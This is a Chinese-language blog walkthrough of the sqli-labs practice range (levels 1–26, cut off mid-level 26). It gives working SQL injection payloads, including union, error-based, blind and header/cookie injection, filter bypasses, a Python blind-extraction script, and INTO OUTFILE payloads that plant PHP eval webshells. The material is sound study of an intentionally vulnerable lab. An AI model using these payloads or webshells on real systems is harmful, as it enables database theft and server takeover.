本文最后更新于 2024-07-26,文章内容可能已经过时。

sqli-labs靶场通关笔记

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

简介:

sqli-labs是一个印度程序员写的一个关于SQL注入的靶场,一共有65个关卡,其中关卡的类型有但不限于联合查询注入,报错注入,布尔盲注,延时盲注,POST注入,Cookie注入,WAF绕过……对于我们初学注入的同学来说很友好。

前置环境和前置知识:

本机,浏览器(带hackbar插件的火狐),vscode(用来查看sqli-labs源代码)(vscode需要提前连接到虚拟机配置远程ssh连接的远程开发环境)

虚拟机linux centos7【php51】(sqli-labs靶场搭建环境目录):

我的虚拟机ip是192.168.153.130

操作:

1.lampp的目录启动lampp的php环境:/opt/lampp/lampp restart

enter image description here

2.靶场目录地址: /opt/lampp/htdocs/secenvs

4.启动vscode,在远程资源管理器中ssh远程连接到虚拟机

b54fd42271ebe9080d9acd678194068

90b5673e8e23fd3cd30c7bbbd8e9645

这里输入/opt/lampp/htdocs/进入虚拟机linux的目录

输入密码:

b1c8422579814277b4a9edd1c8b94f4

点击允许:

41cda32fb81d52de5ed5e68bc4b4a35

fc6c77ac51be71068fb58c39daa5475

image-20240507190816883

这里能看到虚拟机的ip地址和sqli-labs的目录,表明成功。

5.启动webshell管理工具备用(用来做php一句话连接后的操作):1.蚁剑。2.菜刀。3.哥斯拉…

6.在浏览器访问靶场index目录:

http://192.168.153.130/secenvs/index.html(注意ip地址改成自己的)

image-20240507191714490

image-20240507191912188

关卡页面如下:

image-20240507191943296

一、SQL注入的概念

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息甚至获取系统的shell权限。

二、注入原理

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

SQL本质就是通过用户的输入 改变了你原有的SQL语句的执行方式。

三、SQL注入的危害

1、获取系统的数据

2、获取shell权限

拖库,getshell

四、SQL注入类型

(1)数字型

select   comments from orderitems where id=1

(2)字符型

select userid,username,address,avatar,phone from user where username='admin' and userpass='Aaa'

(3)搜索型

select * from userinfo where username like "%ad%";
  • sql语句如何注释:

    select/*被注释内容*/CONCAT_WS(',',username,passwd,role) from tb_user where id=1;
    select CONCAT_WS(',',username,passwd,role) from tb_user -- where id=1;
    select CONCAT_WS(',',username,passwd,role) from tb_user # where id=1;
    

    information_schema数据库:保存了mysql数据库中的所有信息(元数据)

    select table_name from information_schema.tables where table_schema=database(); 
    
    select * from information_schema.COLUMNS where table_schema=database() and table_name='tb_user';
    
  • 注入步骤:

首先要探测是否有注入点,绝大部分情况我们是可以通过输入不同的条件,查看页面的不同反应来判断是否系统重存在注入点。

(1)在页面或者url中输入单引号。确认页面是否有报错。如果有报错,再在引号后面添加注释(-- -),确认页面报错不再出现。

(2)如果第一步不成功,则换一种数据类型尝试,输入 1 or 1=1 和1 or 1=2,确认页面内容显示是否有差异。如果有区别,则可以确认该数据使用了数字类型。

(3)确认了数据类型,尝试sql注入.获取字段数。通过order by 数字。如果报错,则相邻的前一个数字就是准确的字段数。

id = 1 order by 3 -- -

(4)通过union,拼接查询结果。确认哪些字段在页面上有回显。

id=1 union select 1,2,3,4,5 limit 1,1-- - 
id=-1 union select 1,2,3,4,5 -- -

(5)获取数据库名字:database() 获取角色信息 user() 获取版本信息version()

id=-1 union select 1,database(),user(),version(),5 -- -

(6)拖库。(爆库,爆表,爆数据等)

--获取当前数据库中的所有表名
payload:
1 union  select group_concat(table_name) from information_schema.tables where table_schema=database()  limit 1,1 
对应的sql语句:
select group_concat(table_name) from information_schema.tables where table_schema=database()  limit 1,1 


--获取某一个表中所有列名
payload:
1  union select group_concat(column_name) from information_schema.columns where table_name='user'  limit 1,1 

对应的sql语句:
select group_concat(column_name) from information_schema.columns where table_name='user'  limit 1,1 


--把表中的数据取出一行
payload:
1 union  select CONCAT_WS(',',userid,username,userpass,address,avatar,phone) from user  limit 2,1

对应的sql语句:
select select CONCAT_WS(',',userid,username,userpass,address,avatar,phone) from user  limit 2,1

(7)getshell

查看数据库的一个参数的配置

show VARIABLES like '%secure_file_priv%';

secure_file_priv 数据库的全局属性:

secure_file_priv=        表示开启任意文件读写权限
secure_file_priv=/xxx/xxx 限定读写范围
secure_file_priv=null    没有开启权限。

向操作系统目录中写入木马

select * into outfile “路径” 路径必须具备其他用户写权限。

payload: 
-1')) union select 1,"<?php eval($_POST['code']);?>",3 into outfile "/opt/lampp/htdocs/secenvs/sqlilabs/test1.php" -- +

通过浏览器访问木马文件,使用POST方法提交参数

image-20240507174716027

使用中国菜刀连接一句话木马:

image-20240507174814071

还有其他很多类型的注入具体就不细说了,可以看我的其他介绍SQL注入的文章。下面通过靶场的练习来练习手工sql注入,了解和学习sql注入。

打靶通关过程:

第一关(get注入):

image-20240507192104991

根据提示输入?id=1尝试注入:

image-20240507192254376

http://192.168.153.130/secenvs/sqlilabs/Less-1/?id=1

image-20240507192343685

成功sql注入出用户名和密码。由此可得注入点id=1

尝试其他类型:

输入?id=1’ 报错

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

输入?id=1’–+ 正常

image-20240507192624074

由此可知,是字符型注入,闭合方式是’

尝试union联合注入:

?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

image-20240507193626416

成功爆出数据库

challenges,dvwa,goods,information_schema,mysql,pentest,performance_schema,phpmyadmin,pikachu,security,test

尝试union联合注入爆出table表:

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

image-20240507201406162

成功爆出表名:

emails,referers,uagents,users

尝试union联合注入爆列表

?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

image-20240507203011416

成功爆出列表字段:

emails,referers,uagents,users

尝试union爆出列

?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

image-20240507203348257

第二关(get注入):

探测是否有注入点:

?id=1 				    //正常
?id=1' 				    //显示错误
?id=1' -- + 			//显示错误
?id=1 or 1=1 			//正常
?id=1 or 1=2 			//正常
// 由此判断有判断是数字型注入

确认了数字数据类型,尝试sql注入.获取字段数。通过order by 数字。如果报错,则相邻的前一个数字就是准确的字段数。

尝试数字型注入:

?id=1 order by 4-- +    //错误
?id=1 order by 3-- +    //正常 (由此判断字段数为3)
?id=1 and '1' = '1' -- -

image-20240507210214030

image-20240507211446194

第三关(get注入):

查看php源码:

image-20240507213056381

尝试:

?id=1') -- +   //正常 (即发现注入点)(可以这样注入)

image-20240507214013533

使用order by 查询判断列数:

?id=1') order by 4-- +    	//显示出错Unknown column '4' in 'order clause'
?id=1') order by 3-- +		//正常.由此判断列数为3

image-20240507214228152

输入不存在的id数,给后面的查询语句留显示位

?id=21') union select 1,2,3-- +

image-20240507214439254

显示位为2,3位

?id=21') union select 1,2,database() --+		//爆出库名
?id=21') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+		//爆出列名
?id=21') union select 1,group_concat(username),group_concat(password) from security.users --+			//爆出数据库密码

image-20240507215232374

第四关(get注入):

查看源代码:

图中标记处,便是与前几关的区别,可见将id 加了双引号,后面又用了()于是我们将,id后面加“)即可

image-20240508014853382

尝试使用“)注入:

?id=1") --+	 		//正常,存在注入点

image-20240508020536727

尝试使用order by注入猜字段数

?id=1") order by 4 --+	//报错 Unknown column '4' in 'order clause'
?id=1") order by 3 --+	//正常,字段位为3

image-20240508020455630

尝试使用联合注入union猜显示位数

?id=666") union select 1,2 --+	//报错,The used SELECT statements have a different number of columns

?id=666") union select 1,2,3 --+		//正常,说明显示位数位2,3

?id=666") union select 1,2,3,4 --+		//报错,The used SELECT statements have a different number of columns

尝试使用union联合注入爆库和表名和users表中的用户名,密码:

?id=666") union select 1,2,database() --+		//爆出数据库security

?id=666") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+						//爆出表名emails,referers,uagents,users

?id=666") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and table_name ='security' --+			//正常,说明爆出的是security库

?id=666") union select 1,group_concat(username),group_concat(password) from security.users --+
//爆出users表中的用户名和密码

image-20240508021950869

第五关(get报错注入):

查看源码:

image-20240508022409599

image-20240508023557803

思路:

第五关没有数据库的回显信息,但是有一个‘ you are in……’ 的消息回显信息和错误回显信息,如果id数据库中存在,就回显 “You are in …” 若不存在,就无回显。

这里明显不适用于union联合注入,但是可以尝试报错注入

报错注入可以用floor报错、updatexml报错、extractvalue报错。

寻找注入点:

?id=1'		//报错
?id=1"		//正常	//注入点

尝试使用extractvalue报错注入:

?id=1' and extractvalue(1,concat(1,database())) --+			//正常

image-20240508094155334

尝试使用updatexml报错注入:

?id=1' union select updatexml(1,concat(0x7e, (select(group_concat(table_name))from information_schema.tables where table_schema="security") ,0x7e),3)--+	
//爆出security库的表

//爆字段:

image-20240508024043227

第六关(get注入和布尔注入):

同第五题一样报错注入:只不过要加双引号

?id=1" and extractvalue(1,concat(1,database())) --+			//正常,爆出库名

image-20240508094256278

-- //通过得到的库名爆表名
?id=1"and (extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+

image-20240508191541175

// 通过得到的表名users,爆表中的字段

image-20240508191850676

-- //通过字段。爆出表中的用户名和密码
?id=1"and extractvalue(1,concat(1,(select concat(username,password) from security.users limit 1,1))) --+

image-20240508193058807

第七关(get注入写入shell):

image-20240508094530159

源代码:

image-20240508193615745

从源代码可以知晓,php代码将print_r(mysqli_error($con))注释掉了,报错注入用不了了,

可以使用布尔盲注,通过源码发现只需要在id后面加上’))便可以开始注入。

尝试注入:

?id=1')) and 1=1 --+		//正常,存在注入点
?id=1')) and 1=2 --+  		//回显错误,报语法错误
-- 故而可以判断,该处注入为布尔型盲注

判断数据库名长度:

?id=1')) and (length(database())>7) --+		//正常
?id=1')) and (length(database())>8) --+		//回显错误
-- 故而可以知晓,数据库名长度位8位

猜数据库名字符:(这里可以使用python代码进行布尔盲注)

?id=1')) and (substr(database(),1,1)='a') --+ 		//回显错误,说明第一个字母不是a
-- ....中间abcd省略
-- ....一直到s
?id=1')) and (substr(database(),1,1)='s') --+	//回显正常,说明数据库第一个字母是s

image-20240508194608491

尝试猜表名:

?id=1')) and  (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>1) --+		//报错
。。。。省略
?id=1')) and  (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>100) --+	//回显正确

?id=1')) and  (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>101) --+	//正确
//ASCII码是101,为e,按照此方法查出所有的表为 emails,referers,uagents,users。

image-20240508200305636

查询user表中列名

1、查询第一个列名有多少位;
/?id=1') ) and (length((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1))>1) --+
......
2、查询列名
?id=1')) and (ascii(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1))>1) --+
......
查询出所有列名为:id,username,password

写入文件:

?id=1')) union select 1,2,3;%00
//显示you are in..Use outfile.....	可以写入文件了
//写入一句话木马进文件目录,木马文件为muma.php
?id=-1')) union select 1,2,'<?php @eval($_POST["crow"]);?>' into oufile '/opt/lampp/htdocs/secenvs/sqlilabs/Less-7/muma.php'-- -
//用蚁剑进行链接即可

第八关(get布尔盲注):

image-20240508202011877

源代码:

image-20240508201919411

查看源码知晓id的闭合方式,但是错误输出注释掉了,不适合错误注入,但是不影响布尔盲注

和第七关一样,只是闭合方式改了一下。

通过python程序进行盲注:

import requests

# sqli-labs第八关,布尔盲注

# 猜测数据库名字的长度
def guessDbNameLength():
    for i in range(1,30):
        url1 = f"http://192.168.248.128/secenvs/sqlilabs/Less-8/?id=1' and length(database())={i} -- -"
        response = requests.get(url1)
        if "You are in" in response.text:
            # print(f"数据库名称长度是:{i}")
            return i

dblen = guessDbNameLength()
# print(f"数据库名称长度是:{dblen}")

# 猜测数据库名字
def guessDbName(len):
    dbname=[]
    for i in range(1,len+1):
        for j in range(97,124):
            url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' and ASCII(mid(database(),{i},1))={j} -- -"
            response = requests.get(url1)
            if "You are in" in response.text:
                dbname.append(chr(j))
                break
    return "".join(dbname)


dbname = guessDbName(dblen)

# 获取表名称的字符串,用逗号分隔(长度)
def guessTableNamesLengh(dbname):
    for i in range(1,1000):
        url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' " \
               f"and (select length(GROUP_CONCAT(table_name)) from information_schema.TABLES " \
               f" where table_schema='{dbname}')={i} -- -"

        response = requests.get(url1)

        if "You are in" in response.text:
            return i

tablenameLength = guessTableNamesLengh(dbname)


def guessTableNamesLengh(dbname,len):
    tablenames=[]
    for i in range(1,len+1):
        for j in range(32,126):
            url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' " \
                   f" and ASCII(mid((select GROUP_CONCAT(table_name) " \
                   f" from information_schema.TABLES where table_schema='{dbname}'),{i},1))={j} -- -"
            response = requests.get(url1)
            if "You are in" in response.text:
                tablenames.append(chr(j))
                break
    return "".join(tablenames)

tableNames = guessTableNamesLengh(dbname,tablenameLength)
print(tableNames)

tableArr = tableNames.split(",")


#计算每个表列名组成的字符串长度
def guessColumnLengh(dbname,tablename):
    for i in range(1,1000):
        url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' " \
               f"and (select length(GROUP_CONCAT(column_name)) from information_schema.COLUMNS" \
               f"  where table_schema='{dbname}' and table_name='{tablename}')={i} -- -"
        response = requests.get(url1)
        if "You are in" in response.text:
            return i


def guessColumnNames(dbname,tablename,len):
    columnNames=[]
    for i in range(1,len+1):
        for j in range(32,126):
            url1 = f"http://192.168.153.130/secenvs/sqlilabs/Less-8/?id=1' " \
                   f" and ASCII(mid((select GROUP_CONCAT(column_name) " \
                   f" from information_schema.COLUMNS where table_schema='{dbname}'" \
                   f" and table_name='{tablename}'),{i},1))={j} -- -"
            response = requests.get(url1)
            if "You are in" in response.text:
                columnNames.append(chr(j))
                break
    return "".join(columnNames)

for t in tableArr:
    len = guessColumnLengh(dbname,t)
    columnNames = guessColumnNames(dbname,t,len)
    print(columnNames)

第九关(get注入 时间盲注):

image-20240508202458884

源代码:

image-20240508202422120

查看源代码可以知晓,关卡错误和正确都不显示信息(只显示you are in…)布尔盲注和错误注入不适合,可以用时间盲注。

尝试注入:

?id=1' -- +			
-- 存在注入点

?id=1' and sleep(2) -- +	
-- 浏览器相应时间2秒,存在时间盲注

​ 查询表名:

1、查询数据库长度

?id=1' and if((length(database())>1),sleep(5),0) --+
// 浏览器响应5秒说明数据库长度大于1
....
....省略

?id=1' and if((length(database())>8),sleep(5),0) --+
// 浏览器响应时间小于1秒,说明数据库长度为8

2、查询数据库字段名:
。。。。省略
?id=1' and if(ascii(substr(database(),1,1))>115,sleep(5),0) --+
//响应时间小于1秒。ascii码为115,说明第一个字段为s
。。。。省略
最终查询到的数据库字段名为security

第十关(get注入 时间盲注):

image-20240508203809500

查看源码:

image-20240508203944016

通过查看源码可以知晓,跟第九关的区别就是id两边多了个双引号,注入的时候用双引号闭合即可。其他步骤跟第九关一样。

尝试注入:

1、查询数据库长度

?id=1" and if((length(database())>1),sleep(5),0) --+
// 浏览器响应5秒说明数据库长度大于1
....
....省略

?id=1" and if((length(database())>8),sleep(5),0) --+
// 浏览器响应时间小于1秒,说明数据库长度为8

2、查询数据库字段名:
。。。。省略
?id=1" and if(ascii(substr(database(),1,1))>115,sleep(5),0) --+
//响应时间小于1秒。ascii码为115,说明第一个字段为s
。。。。省略
最终查询到的数据库字段名为security

第十一关(POST 注入):

image-20240508204253243

查看源代码:

image-20240508204415339

查看源代码和界面和可以知晓,请求方法为post

在界面直接填入用户名和密码进行注入:

Dhakkan' or 1=1 -- +
111111(随便填)

image-20240508204736674

image-20240508204920379

第十二关(POST 注入):

源代码:

image-20240508205219254

查看源代码可以知晓,原理和十一关一样,只是多出了“”和()

所以直接在页面中输入用户名和密码进行注入:

Dhakkan") or 1=1 -- +
1111111

image-20240508205442503

第十三关(POST 报错注入 ):

查看源码:

image-20240508231451337

image-20240508231513973

直接在页面中输入用户名和密码进行注入:

aaa') or 1=1 -- +
1111

image-20240508205739183

第十四关(POST 报错注入 ):

查看源码:

image-20240508232106446

几乎和十三关差不多,就是没有(),直接上页面进行sql注入:

Dhakkan" or 1=1 -- +
1111

image-20240508232149614

成功注入

第十五关(POST 布尔注入 ):

查看源码:

image-20240508232409875

查看源码可知,和前几关差不多,直接在页面进行sql注入尝试

1' OR 1=1 -- +
11111

image-20240508232602254

第十六关(POST 布尔注入 ):

查看源码:

image-20240508232920308

由源码可知,和十五关的区别是uname和passwd有()和“”

所以sql注入时候要加上“)即可

Dhakkan") or 1=1 -- +
111111

image-20240508233238050

注入成功

第十七关(更新注入):

image-20240508234452651

Dhakkan") or 1=1 -- +
admin or 1=1'

//显示错误,骂我憨比黑客

image-20240509005306042

查看源码:

image-20240508234743467

从源代码可以看出执行了更新操作,所以有可能是更新注入或者报错注入(后面有报错信息输出)

尝试注入:

image-20240509011554200

这里尝试在密码中输入1’

有报错,说明存在报错注入

尝试报错注入爆出数据库名:

uname=admin&passwd=1' and updatexml(1,concat(1,substr((select group_concat(schema_name) from information_schema.schemata),1,1),1),1)#&submit=submit
//爆出了数据的cl
//加大剂量尝试
-- ....中间的省略
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),80,30),0x7e),1)#&submit=submit

--成功爆出数据库admin,pikachu,security,test
。。。尝试

-- 下面这条可以拿到security
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),94,8),0x7e),1)#&submit=submit


-- 爆出表名:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,29),0x7e),1)#&submit=submit
-- 可以得到表名:emails,referers,uagents,users


-- 爆出表明爆出用户和密码:
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,password)) from security.users),1,30),0x7e),1)#&submit=Submit

image-20240509011251913

image-20240509012646003

image-20240509012705176

image-20240509014844250

第十八关(HTTP头UA INSERT 报错注入):

image-20240510230126065

源码:

image-20240510233018607

image-20240510233249014

查看源码可知,uagent函数直接被拼接到sql语句中执行插入操作

刚进去靶场页面就看到ip信息暴露在页面中,一旦发现有记录到浏览器信息和ip信息之类的就应该想到HTTP头注入

一般浏览器记录身份信息的地方有User-Agent,Referer,Accept,X-Forwarded-For,Date

概念:就是在http请求头中注入恶意代码,实现拖库或getshell

http包头 请求的基本信息,请求的长度,编码,请求来源,ip地址,数据格式等等
http包体 请求的主要内容
HTTP_REFERER 请求是从哪个地址过来的
REMOTE_ADDR 发出请求的客户端的ip地址
X-FORWARDED-FOR 记录原始发请求方的IP地址。

启动Burp抓个包试试看:

启动burpsuit后代理模块开启拦截在浏览器用户名密码栏中输入admin,admin

image-20240510231419271

传个报错注入上去看看:

payload:

//判断库
'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)-- -

在数据库中拼接如下:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)-- -', '$IP', $uname)

可见这里的0x7e),1),1,1)后面的两个1,1是补齐前面的两个字段ip_address和username的

将paylod放入在burp中修改user-gent值进行放包,后可以发现页面可以爆出来数据库security

image-20240511000438752

剩下的都是一样的操作,

//判断表名:

'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1,1)-- -

//判断列名:

'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),0x7e),1),1,1)-- -

//判断数据:

'and updatexml(1,concat(0x7e,(select username,password limit 0,1),0x7e),1),1,1)-- -

第十九关(HTTP头Referer INSERT 报错注入):

image-20240511001757463

image-20240511002213217

看源码可知,和十八题一样,只是注入点有点变化,变成了HTTP_REFERE,拼接到ip,其他一样。

payload:

//爆库名:
'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1)-- -

//爆表名:
'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1),1,1)-- -

//爆列名:
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users'limit 0,1),0x7e),1),1,1)-- -

//爆数据:
1 1'and updatexml(1,concat(0x7e,(select username,password limit 0,1),0x7e),1),1,1)-- -

第二十关( HTTP头Cookie 联合注入):

image-20240511002532077

在username和password输入admin后,跳转到页面

image-20240511003135437

image-20240511003457104

看源码可知,是通过cookie进行检测

启用burp进行抓包:

尝试使用错误注入payload:

//爆库名:
'and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -

//爆表
'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),0x7e),1)-- -

//爆数据
'and updatexml(1,concat(0x7e,(select username,password from users limit 0,1)-- -

第二十一关(Dump 写入文件):

image-20240510222027636

image-20240511005830042

构造payload:写入文件进关卡系统

//首先判断下字段数:
1') order by 4#			//到这里报错,说字段数3位

//因为后端有base64编码,需要编个码在执行,
MScpIG9yZGVyIGJ5IDQj

构造一句话木马:<?php eval($_POST['ls']);?>
将它转成16进制:0x3c3f706870206576616c28245f504f53545b276c73275d293b3f3e

放入payload中:
1') union select null,0x3c3f706870206576616c28245f504f53545b276c73275d293b3f3e,null into outfile '/opt/lampp/htdocs/secenvs/sqlilabs/Less-21/test.php'#


//注意这里不能用-- -,因为经过base64位编码后,Mysql解码后传入数据库执行的是---,会把中间的空格吃掉,---会导致MYSQL语法报错

将整个payload进行base64编码后放入burp中
MScpIHVuaW9uIHNlbGVjdCBudWxsLDB4M2MzZjcwNjg3MDIwNjU3NjYxNmMyODI0NWY1MDRmNTM1NDViMjc2YzczMjc1ZDI5M2IzZjNlLG51bGwgaW50byBvdXRmaWxlICcvb3B0L2xhbXBwL2h0ZG9jcy9zZWNlbnZzL3NxbGlsYWJzL0xlc3MtMjEvdGVzdC5waHAnIw==

image-20240511012435895

image-20240511013540678

image-20240511013748339

可以看到成功写入文件

源码:

image-20240511014707895

第二十二关(Cookie联合注入):

image-20240511013856951

用户名密码栏输入admin和admin后,显示如下界面,查看cookies插件;发现uname是YWRtaW4%3D

image-20240511014357031

查看源码:

image-20240511014946131

和二十一关差不多,就是闭合变成了双引号

构造payload进行注入:

"union select 1,2,database()#
//注意这里同21关一样,不能用-- -
转换成base64:
InVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

将编码好的payload放入cookies插件中的uname内容进行替换刷新页面后即可得到爆出库名:

image-20240511015756013 剩下的爆表名和列名操作相同:

payload如下:

//爆字段
"union select 1,2,(select group_concat(username,password) from security.users)#
base64:
InVuaW9uIHNlbGVjdCAxLDIsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpIGZyb20gc2VjdXJpdHkudXNlcnMpIw==

image-20240511020502567

第二十三关(GET注入 过滤注释符):

image-20240511020743969

尝试:

id=1		//显示信息
id=1' 		//显示报错
id=1'-- -		//显示报错,应该是无法进行闭合

image-20240511021458370

查看源码可知:这里是做了一个小小的替换将#或者–替换为空,导致一般注释-- -和#无法进行闭合,所以这里只能使用and或者or语句进行闭合,在这里可以使用另外一个特殊的注释符

 ;%00

通过这个注释符可以判断列数。

使用order by注入查询字段:

?id=1' order by 3 ;%00
?id=1' order by 4 ;%00		//报错,说明字段数为3

使用联合查询:

?id=1' union select 1,2,3 ;%00		//正常,但是不显示,这是应为一共123显示为只有两个,此时需要填入一个不存在的id数来让他暴露出显示位
?id=666' union select 1,2,3 ;%00		//成功爆出来显示位为2,3

//之后就是爆库爆表和字段
爆库:
?id=4444' union select 1,2,group_concat(schema_name) from information_schema.schemata ;%00
//成功爆出数据库:challenges,dvwa,goods,information_schema,mysql,pentest,performance_schema,phpmyadmin,pikachu,security,test
//爆表:
?id=4444' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479;%00
//成功爆出security库中的表emails,referers,uagents,users
//爆字段
?id=4444' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users;%00
//成功爆出users表中的用户名和密码

//只要通过单引号把后面闭合了也可以获取数据,payload如下
?id=1' and  1=2 union select 1,2,(select group_concat(username,password 0x7e) from security.users) '

image-20240511025818682

![image-20240511024945582](https://img.picgo.net/2024/05/11/image-20240511024945582f10b94fcdaaf3c72.png

image-20240510192910374

第二十四关(二次注入):

image-20240510193704712

直接用万能密码尝试:

admin和admin,发现登录进去了

查看源码:

image-20240510194259086

可以发现本关卡数据入参都有通过 mysql_real_escape_string 进行转义

更改密码的php文件中这行

可以使用admin ‘#进行注入,数据库中的语句会变成:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and 1=1
..... 这后面会被注释掉正好和前面的'拼到一起,从而起到更新密码的作用,拿着更新后的密码就可以登录成功了

点击new user click here?跳转至新用户注册界面

在注册界面的username中输入admin’#

在随便输入密码值,点击登录即可创建出一个新账户,再用新账户登录即可。或者在注册界面修改密码,可以起到修改admin管理员的密码。直接拿修改后的密码登录管理员的账户。
payload:

UPDATE users SET PASSWORD='123456' where username='admin'#' and 1=1

enter image description here
enter image description here
enter image description here
image-20240510195133504

image-20240510195250768

第二十五关(双写绕过):

image-20240510202529005

测试寻找注入点:

?id=1		//正常显示信息
id=1 and 1=1	//正常,但是看下方hint提示信息没有and没了
?id=1'		//报错
?id=1' -- -		//正常


尝试order by查询字段数

?id=1' order by 3 -- -			//报错,看下方hint提示信息变成了1' der by 3 -- -
//说明or应该是被吃掉了

image-20240511121813374

image-20240510203341325

看页面下方的信息可以得出是and和or被吃掉了。

查看源码:

image-20240511122020103

通过源码可以发现or和and是被替换了,还使用了preg_repalace函数使它不区分大小写

直接使用双写绕过(在order或者select之间再写入一个or或者and)

?id=1' oORrder by 1-- -		//正常回显
?id=1' oORrder by 3-- -		//正常
?id=1' oORrder by 4-- -		//到四报错,说明字段数为3

尝试用联合查询:

?id=1111' union select 1,2-- -			//报错
?id=1111' union select 1,2,3-- -		//正常回显,回显数为2,3

接下来就简单了,直接爆库爆表就行了

//爆库:
?id=1111' union select 1,2,group_concat(schema_name) from information_schema.schemata--+		
//这里发现报错,查看信息发现information_schema这里的or被吃掉了
//再次双写or尝试:
?id=1111' union select 1,2,group_concat(schema_name) from infoRormation_schema.schemata --+
//还是报错,尝试分开来写
?id=1111' union select 1,2,group_concat(schema_name) from infooRrmation_schema.schemata --+
//成功爆出库:challenges,dvwa,goods,information_schema,mysql,pentest,performance_schema,phpmyadmin,pikachu,security,test

//爆表:
//再次双写or尝试:
?id=1111' union select 1,2,group_concat(table_name) from inforormation_schema.tables where table_schema=database()--+
//还是报错,尝试分开来写
?id=1111' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()--+
//成功爆出表:emails,referers,uagents,users 

//爆字段:
?id=1111' union select 1,2,group_concat(username,passwooRrd) from security.users--+
//成功爆出密码账号

方式二:报错注入payload
?id=1111' || 1=1 -- -		//回显
//暴库:
?id=1111' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 9,1)),1) || '1'='1'-- -
//爆表:
?id=1111' || updatexml(1,concat(0x7e, (select(group_concat(table_name))from infoorrmation_schema.tables where table_schema="security") ,0x7e),3) || '1'='1'-- -
//爆字段:
?id=1111' || extractvalue(1,concat(1,(select concat(username,passwoorrd) from security.users limit 0,1)))-- -

image-20240511152401508

image-20240511144952673

第二十五关a:(双写绕过):

image-20240511145046451

image-20240511145302256

到了二十五关a,查看源码发现和二十五关差不多,

payload:

运用时间盲注入:

?id=1 AandND sleep(1)#	

?id=1111' oorr if (left(database(),8)='security',1,sleep(5))-- -
//判断出库名是security

运用联合注入

?id=1 AandND 1=2 union select 1,2,3#		
//字段数为3


//爆库
?id=1 AandND 1=2 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+

//爆表
?id=1 AandND 1=2 union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

//爆字段:
?id=1 AandND 1=2 union select 1,2,group_concat(username,passwooRrd) from security.users--+

第二十六关(空格绕过):

image-20240511164039832

测试sql注入:寻找注入点:

id=1 		//正常回显
id=1' -- -		//报错,观查hint发现后面的注释符没了
id=1';%00		//换个注释符,看hint显示有了
id=1' or 1=1	//or没了,双写绕过
?id=1' oorr '1'='1		//正常回显,空格没了
id=1 and 1=2	//回显字段数,但是看下方hint的提示显示and和空格都没了
1 AANDND 1=2	//and这里搞个双写注入,hint提示有and了,但是空格还是被吃了

查看源码:

image-20240511170609281

通过源码发现很多注入的关键字都被替换为空了

空格可以通过以下符号代替

符号 说明
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格(和普通空格不一样)

还有一种方式不用空格直接用||替代

//报错注入,爆库名;
